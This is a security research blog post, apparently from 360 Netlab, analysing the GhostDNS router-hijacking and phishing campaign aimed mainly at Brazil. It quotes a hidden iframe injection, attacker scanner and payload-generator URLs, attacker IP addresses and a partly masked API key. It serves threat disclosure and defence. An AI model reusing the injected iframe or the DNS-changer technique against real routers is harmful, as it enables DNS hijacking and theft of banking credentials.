70+ different types of home routers(all together 100,000+) are being hijacked by GhostDNS
note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)
Background introduction
DNSchanger is not something new and was quite active years ago [1], we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.
With that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[2]. Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions.
Just like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[3] through the corresponding DNS configuration interface.
But this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages.
Furthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.
Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.
GhostDNS system
The GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.
DNSChanger System
The DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes 100+ attack scripts altogether, affecting 70+ different routers.
The three DNSChanger sub-modules
The Shell DNSChanger sub-module
The Shell DNSChanger was first available around June 2016. It is basically a combination of 25 attack Shell scripts, which works on 21 routers/firmware.
This sub-module is only being used lightly, with limited deployment by the attacker.
This sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.
After the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.
The following is the key code structure of Shell DNSChanger

The Js DNSChanger sub-module
Js DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.
For example, a Js DNSChanger code on the home page of 35.236.25.247 (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).
<iframe src="http://193.70.95.89/2021/" frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe>
The attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.
#Scanner
http://193.70.95.89/2021/index2.php
The payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.
#Payload generator
http://193.70.95.89/2021/api.init.php?d=192.168.1.1
The attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.

The PyPhp DNSChanger sub-module
PyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:
Web API. Through which attacker can control and schedule to run the program conveniently.
Scanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.
Information of the Shodan API key is as follow:
API key: LI****Lg9P8****X5iy****AaRO
Created: 2017-11-03T16:55:13.425000
Plan: EDU
Attack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.
Interestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.

The Web Admin System
We also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.
We notice a special label "Elite Priv8" on the login page of the Web Admin System. After some googling, we found the same description on a post titled "testador santander banking 2.1 versão beta elitepriv8" on a Brazilian security forum[4].
The following is the IP address of Web Admin Server
198.50.222.139 "AS16276 OVH SAS"
The Rogue DNS System
We have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.
Below is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0

The Phishing Web System
The rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.
Probing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.

Summary
The GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.
We recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal.
We also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.
Relevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.
Contact Us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
note:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)
